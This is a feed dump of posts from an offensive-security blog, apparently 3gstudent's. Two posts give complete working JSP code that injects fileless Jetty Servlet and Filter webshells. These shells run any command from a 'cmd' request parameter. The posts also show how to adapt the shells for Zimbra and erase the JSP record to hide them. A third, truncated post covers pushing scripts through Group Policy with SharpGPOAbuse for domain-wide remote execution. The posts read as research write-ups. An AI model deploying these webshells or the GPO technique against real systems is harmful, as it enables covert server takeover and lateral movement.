3gstudent-Blog
A Jekyll Blog Theme For Hackers
https://3gstudent.github.io
3gstudent
no
https://3gstudent.github.io/
-
Java利用技巧——Jetty Servlet型内存马
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>在上篇文章介绍了Jetty Filter型内存马的实现思路和细节,本文介绍Jetty Servlet型内存马的实现思路和细节</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>实现思路</li>
<li>实现代码</li>
<li>Zimbra环境下的Servlet型内存马</li>
</ul>
<h2 id="0x02-实现思路">0x02 实现思路</h2>
<hr />
<p>同样是使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马</p>
<h2 id="0x03-实现代码">0x03 实现代码</h2>
<hr />
<h3 id="1添加servlet">1.添加Servlet</h3>
<p>Jetty下可用的完整代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.util.Scanner"%>
<%@ page import="java.io.*"%>
<%
String servletName = "myServlet";
String urlPattern = "/servlet";
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread : threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for(Object s:servlets){
Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(s);
if(name.equals(servletName)){
flag = true;
break;
}
}
if(flag){
out.println("[-] Servlet " + servletName + " exists.<br>");
return;
}
out.println("[+] Add Servlet: " + servletName + "<br>");
out.println("[+] urlPattern: " + urlPattern + "<br>");
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object servletMapping = null;
try{
servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));
}catch(NoSuchMethodException e){
servletMapping = clazz.newInstance();
}
servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);
}
}
}
%>
</code></pre></div></div>
<h3 id="2枚举servlet">2.枚举Servlet</h3>
<h4 id="1通过request对象调用getservletregistrations枚举servlet">(1)通过request对象调用getServletRegistrations枚举Servlet</h4>
<p>Jetty下可用的完整代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Method "%>
<%
ServletContext servletContext = request.getServletContext();
Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations");
Object obj1 = m1.invoke(servletContext);
out.println(obj1);
%>
</code></pre></div></div>
<p>对应命令为:<code class="language-plaintext highlighter-rouge">request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())</code></p>
<h4 id="2通过thread获得webappclassloaer通过反射读取_servlets属性来枚举servlet">(2)通过Thread获得webappclassloaer,通过反射读取_servlets属性来枚举Servlet</h4>
<p>Jetty下可用的完整代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for(Object servlet:servlets){
out.print(servlet + "<br>");
}
}
}
}
%>
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>该方法在Zimbra环境下会存在多个重复结果</p>
<h2 id="0x04-zimbra环境下的servlet型内存马">0x04 Zimbra环境下的Servlet型内存马</h2>
<hr />
<p>Zimbra存在多个名为WebAppClassLoader的线程,所以在添加Servlet时需要修改判断条件,避免提前退出,在实例代码的基础上直接修改即可</p>
<p>在Zimbra环境下测试还需要注意一个问题:在<code class="language-plaintext highlighter-rouge">rctxt</code>-><code class="language-plaintext highlighter-rouge">jsps</code>下会标记所有执行过的jsp实例,测试代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object conn1 = f.get(request);
f = conn1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object conn2 = f.get(conn1);
f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object conn3 = f.get(conn2);
f = conn3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);
Enumeration enu = conn4.keys();
while (enu.hasMoreElements()) {
out.println(enu.nextElement() + "<br>");
}
%>
</code></pre></div></div>
<p>当然,我们可以通过反射删除内存马对应的jsp实例,测试代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object conn1 = f.get(request);
f = conn1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object conn2 = f.get(conn1);
f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object conn3 = f.get(conn2);
f = conn3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);
conn4.remove("/myServlet.jsp");
%>
</code></pre></div></div>
<p>无论是Filter型内存马还是Servlet型内存马,删除内存马对应的jsp实例不影响内存马的正常使用</p>
<h2 id="0x05-利用思路">0x05 利用思路</h2>
<hr />
<p>同Filter型内存马一样,Servlet型内存马的优点是不需要写入文件,但是会在服务重启时失效</p>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文介绍了Jetty Servlet型内存马的实现思路和细节,给出了可供测试的代码,分享了Zimbra环境的利用方法。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Thu, 24 Nov 2022 00:00:00 +0000
https://3gstudent.github.io//Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC
https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC
-
Java利用技巧——Jetty Filter型内存马
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>关于Tomcat Filter型内存马的介绍资料有很多,但是Jetty Filter型内存马的资料很少,本文将要参照Tomcat Filter型内存马的设计思路,介绍Jetty Filter型内存马的实现思路和细节。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>Jetty调试环境搭建</li>
<li>实现思路</li>
<li>实现代码</li>
<li>Zimbra环境下的Filter型内存马</li>
</ul>
<h2 id="0x02-jetty调试环境搭建">0x02 Jetty调试环境搭建</h2>
<hr />
<h3 id="1添加调试参数">1.添加调试参数</h3>
<p>JDK 8版本对应的调试参数为:<code class="language-plaintext highlighter-rouge">java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar start.jar</code></p>
<p>JDK 9及以上版本对应的调试参数为:<code class="language-plaintext highlighter-rouge">java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar start.jar</code></p>
<h3 id="2web目录">2.Web目录</h3>
<p>位置为: <code class="language-plaintext highlighter-rouge"><jetty path>\webapps\ROOT</code></p>
<h3 id="3断点位置">3.断点位置</h3>
<p>选择文件<code class="language-plaintext highlighter-rouge">servlet-api-3.1.jar</code>,依次选中<code class="language-plaintext highlighter-rouge">javax.servlet</code>-><code class="language-plaintext highlighter-rouge">http</code>-><code class="language-plaintext highlighter-rouge">HttpServlet.class</code>,在合适的位置下断点,当运行到断点时,可以查看request对象的完整结构</p>
<h2 id="0x03-实现思路">0x03 实现思路</h2>
<hr />
<p>相关参考资料:</p>
<p>https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java
https://blog.csdn.net/xdeclearn/article/details/125969653</p>
<p><a href="https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java">参考资料1</a>是通过JmxMBeanServer获得webappclassloaer,进而通过反射调用相关方法添加一个Filter</p>
<p><a href="https://blog.csdn.net/xdeclearn/article/details/125969653">参考资料2</a>是通过Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马的方法</p>
<p>我在实际测试过程中,发现通过JmxMBeanServer获得webappclassloaer的方法不够通用,尤其是无法在Zimbra环境下使用</p>
<p>因此,最终改为使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Filter型内存马</p>
<h2 id="0x04-实现代码">0x04 实现代码</h2>
<hr />
<h3 id="1添加filter">1.添加Filter</h3>
<p>Jetty下可用的完整代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.util.Scanner"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.io.*"%>
<%
String filterName = "myFilter";
String urlPattern = "/filter";
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters");
fieldFilters.setAccessible(true);
Object[] filters = (Object[]) fieldFilters.get(servletHandler);
boolean flag = false;
for(Object f:filters){
Field fieldName = f.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(f);
if(name.equals(filterName)){
flag = true;
break;
}
}
if(flag){
out.println("[-] Filter " + filterName + " exists.<br>");
return;
}
out.println("[+] Add Filter: " + filterName + "<br>");
out.println("[+] urlPattern: " + urlPattern + "<br>");
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter);
servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = clazz.newInstance();
Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
method.setAccessible(true);
method.invoke(filterMapping, holder);
filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
servletHandler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(servletHandler, filterMapping);
}
}
}
%>
</code></pre></div></div>
<h3 id="2枚举filter">2.枚举Filter</h3>
<h4 id="1通过request对象调用getfilterregistrations枚举filter">(1)通过request对象调用getFilterRegistrations枚举Filter</h4>
<p>Jetty下可用的完整代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Method "%>
<%
ServletContext servletContext = request.getServletContext();
Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getFilterRegistrations");
Object obj1 = m1.invoke(servletContext);
out.println(obj1);
%>
</code></pre></div></div>
<p>对应命令为:<code class="language-plaintext highlighter-rouge">request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getFilterRegistrations").invoke(request.getSession().getServletContext())</code></p>
<p><strong>注:</strong></p>
<p>查看<code class="language-plaintext highlighter-rouge">servletContext</code>支持的方法:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Method "%>
<%
ServletContext servletContext = request.getServletContext();
Method[] methods = servletContext.getClass().getSuperclass().getDeclaredMethods();
for(Method method:methods){
out.print(method.getName() + "<br>");
}
%>
</code></pre></div></div>
<p>返回结果如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>createInstance
addListener
addListener
addListener
getFilterRegistration
getFilterRegistrations
setSessionTrackingModes
getEffectiveSessionTrackingModes
getJspConfigDescriptor
getSessionCookieConfig
getDefaultSessionTrackingModes
getServletRegistration
getServletRegistrations
getNamedDispatcher
setJspConfigDescriptor
setInitParameter
declareRoles
destroyFilter
addServlet
addServlet
addServlet
destroyServlet
addFilter
addFilter
addFilter
checkDynamic
</code></pre></div></div>
<h4 id="2通过thread获得webappclassloaer通过反射读取_filters属性来枚举filter">(2)通过Thread获得webappclassloaer,通过反射读取_filters属性来枚举Filter</h4>
<p>Jetty下可用的完整代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters");
fieldFilters.setAccessible(true);
Object[] filters = (Object[]) fieldFilters.get(servletHandler);
boolean flag = false;
for(Object f:filters){
out.print(f + "<br>");
}
}
}
}
%>
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>该方法在Zimbra环境下会存在多个重复结果</p>
<h2 id="0x05-zimbra环境下的filter型内存马">0x05 Zimbra环境下的Filter型内存马</h2>
<hr />
<p>在Zimbra环境下,思路同样为使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Filter型内存马</p>
<p>但是由于Zimbra存在多个名为WebAppClassLoader的线程,所以在添加Filter时需要修改判断条件,避免提前退出,在实例代码的基础上直接修改即可</p>
<h2 id="0x06-利用思路">0x06 利用思路</h2>
<hr />
<p>Filter型内存马的优点是不需要写入文件,但是会在服务重启时失效</p>
<h2 id="0x07-小结">0x07 小结</h2>
<hr />
<p>本文介绍了Jetty Filter型内存马的实现思路和细节,给出了可供测试的代码,分享了Zimbra环境的利用方法。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Thu, 17 Nov 2022 00:00:00 +0000
https://3gstudent.github.io//Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC
https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC
-
域渗透——利用GPO中的脚本实现远程执行
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>在之前的文章<a href="https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C">《域渗透——利用GPO中的计划任务实现远程执行》</a>介绍了通过域组策略(Group Policy Object)远程执行计划任务的方法,本文将要介绍类似的另外一种方法:通过域组策略(Group Policy Object)的脚本实现远程执行。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>通过Group Policy Management Console (GPMC) 实现脚本的远程执行</li>
<li>通过命令行实现脚本的远程执行</li>
<li>新建GPO实现远程执行</li>
<li>修改已有的GPO,实现远程执行</li>
<li>实现细节</li>
</ul>
<h2 id="0x02-通过group-policy-management-console-gpmc-实现脚本的远程执行">0x02 通过Group Policy Management Console (GPMC) 实现脚本的远程执行</h2>
<hr />
<h3 id="1创建gpo">1.创建GPO</h3>
<p>在域控制器上,位置: <code class="language-plaintext highlighter-rouge">Administrative Tools</code> -> <code class="language-plaintext highlighter-rouge">Group Policy Management</code></p>
<p>如果想要作用于整个域,选择域<code class="language-plaintext highlighter-rouge">test.com</code>,右键,选择<code class="language-plaintext highlighter-rouge">Create a GPO in this domain,and Link it here...</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-1.png" alt="Alt text" /></p>
<p>如果想要作用于指定对象,需要选择提前创建好的OU,右键,选择<code class="language-plaintext highlighter-rouge">Create a GPO in this domain,and Link it here...</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-2.png" alt="Alt text" /></p>
<p><strong>补充:</strong>创建OU的位置:<code class="language-plaintext highlighter-rouge">Administrative Tools</code> -> <code class="language-plaintext highlighter-rouge">Active Directory Users and Computers</code></p>
<h3 id="2配置gpo">2.配置GPO</h3>
<p>选择创建好的GPO,右键,选择<code class="language-plaintext highlighter-rouge">Edit...</code></p>
<h4 id="1指定startupshutdownlogonlogoff时要执行的脚本">(1)指定<code class="language-plaintext highlighter-rouge">Startup/Shutdown/Logon/Logoff</code>时要执行的脚本</h4>
<p><code class="language-plaintext highlighter-rouge">Startup/Shutdown</code>的位置为<code class="language-plaintext highlighter-rouge">Computer Configuration</code> -> <code class="language-plaintext highlighter-rouge">Windows Settings</code> -> <code class="language-plaintext highlighter-rouge">Scripts(Startup/Shutdown)</code>,作用于域内计算机的开机和关机事件</p>
<p><code class="language-plaintext highlighter-rouge">Logon/Logoff</code>的位置为<code class="language-plaintext highlighter-rouge">User Configuration</code> -> <code class="language-plaintext highlighter-rouge">Windows Settings</code> -> <code class="language-plaintext highlighter-rouge">Scripts(Logon/Logoff)</code>,作用于域用户的登陆和注销事件</p>
<p>这里以配置用户test1的登陆脚本为例进行配置,选择<code class="language-plaintext highlighter-rouge">Login</code>,将要执行的脚本上传至域共享文件夹,默认位置为:<code class="language-plaintext highlighter-rouge">\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon</code>,配置登陆执行的脚本为<code class="language-plaintext highlighter-rouge">logon1.bat</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-5.png" alt="Alt text" /></p>
<p><strong>注:</strong></p>
<p>直接将脚本上传至<code class="language-plaintext highlighter-rouge">\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon</code>不会生效,必须在<code class="language-plaintext highlighter-rouge">Logon</code>中指定要执行的脚本</p>
<h4 id="2等待域组策略更新">(2)等待域组策略更新</h4>
<p>默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新</p>
<p>为了提高测试效率,可在客户端执行命令<code class="language-plaintext highlighter-rouge">gpupdate /force</code>强制更新组策略</p>
<h4 id="3等待触发脚本执行">(3)等待触发脚本执行</h4>
<p>在Computer01上登陆用户test1,发现执行了脚本<code class="language-plaintext highlighter-rouge">logon1.bat</code></p>
<h2 id="0x03-通过命令行实现脚本的远程执行">0x03 通过命令行实现脚本的远程执行</h2>
<hr />
<h3 id="1作用于全域">1.作用于全域</h3>
<h4 id="1创建一个gpo">(1)创建一个GPO</h4>
<p>Powershell命令:<code class="language-plaintext highlighter-rouge">New-GPO -Name TestGPO1</code></p>
<h4 id="2将gpo连到到域testcom">(2)将GPO连到到域test.com</h4>
<p>Powershell命令:<code class="language-plaintext highlighter-rouge">New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"</code></p>
<p><strong>注:</strong></p>
<p>两条命令可以简写为一条命令:<code class="language-plaintext highlighter-rouge">new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"</code></p>
<h4 id="3通过sharpgpoabuse设置执行的脚本">(3)通过<a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a>设置执行的脚本</h4>
<p>命令示例:<code class="language-plaintext highlighter-rouge">SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"</code></p>
<p>这里也可以通过修改bat文件的内容判断用户名实现作用于指定目标,筛选用户test1的命令示例:<code class="language-plaintext highlighter-rouge">SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==test1 cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"</code></p>
<h4 id="4等待域组策略更新">(4)等待域组策略更新</h4>
<p>默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟</p>
<h4 id="5等待触发脚本执行">(5)等待触发脚本执行</h4>
<h4 id="6删除gpo">(6)删除GPO</h4>
<p>Powershell命令:<code class="language-plaintext highlighter-rouge">Remove-GPO -Name TestGPO1</code></p>
<h3 id="2作用于指定目标">2.作用于指定目标</h3>
<h4 id="1创建ou">(1)创建OU</h4>
<p>Powershell命令:<code class="language-plaintext highlighter-rouge">New-ADOrganizationalUnit -Name OUtest2 -Path "DC=test,DC=com"</code></p>
<h4 id="2确认用户test1的位置">(2)确认用户test1的位置</h4>
<p>cmd命令:<code class="language-plaintext highlighter-rouge">dsquery user -name test1</code></p>
<p>返回结果:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"CN=test1,CN=Users,DC=test,DC=com"
</code></pre></div></div>
<h4 id="3将指定用户test1移动至新创建的outest2">(3)将指定用户test1移动至新创建的<code class="language-plaintext highlighter-rouge">OUtest2</code></h4>
<p>cmd命令:<code class="language-plaintext highlighter-rouge">dsmove "CN=test1,CN=Users,DC=test,DC=com" -newparent "OU=OUtest2,DC=test,DC=com"</code></p>
<p>也可以使用cmd命令:<code class="language-plaintext highlighter-rouge">dsquery user -name test1 | dsmove -newparent "OU=OUtest2,DC=test,DC=com"</code></p>
<h4 id="4创建一个gpo并将其连接到指定ou">(4)创建一个GPO并将其连接到指定OU</h4>
<p>Powershell命令:<code class="language-plaintext highlighter-rouge">new-gpo -name TestGPO2 | new-gplink -Target "OU=OUtest2,DC=test,DC=com"</code></p>
<h4 id="5通过sharpgpoabuse设置执行的脚本">(5)通过<a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a>设置执行的脚本</h4>
<p>命令示例:<code class="language-plaintext highlighter-rouge">SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse2.txt" --GPOName "TestGPO2"</code></p>
<h4 id="6等待域组策略更新">(6)等待域组策略更新</h4>
<p>默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟</p>
<h4 id="7等待触发脚本执行">(7)等待触发脚本执行</h4>
<h4 id="8删除gpo">(8)删除GPO</h4>
<p>Powershell命令:<code class="language-plaintext highlighter-rouge">Remove-GPO -Name TestGPO2</code></p>
<h4 id="9将用户test1移除ou至原位置">(9)将用户test1移除OU至原位置</h4>
<p>cmd命令:<code class="language-plaintext highlighter-rouge">dsquery user -name test1 | dsmove -newparent "CN=Users,DC=test,DC=com"</code></p>
<h4 id="10删除ou">(10)删除OU</h4>
<p>Powershell命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -Recursive -Confirm:$False
</code></pre></div></div>
<h2 id="0x04-修改已有的gpo实现远程执行">0x04 修改已有的GPO,实现远程执行</h2>
<hr />
<p>默认存在两个组策略,每个文件夹对应一个组策略:</p>
<p><code class="language-plaintext highlighter-rouge">{6AC1786C-016F-11D2-945F-00C04fB984F9}</code>对应<code class="language-plaintext highlighter-rouge">Default Domain Controllers Policy</code></p>
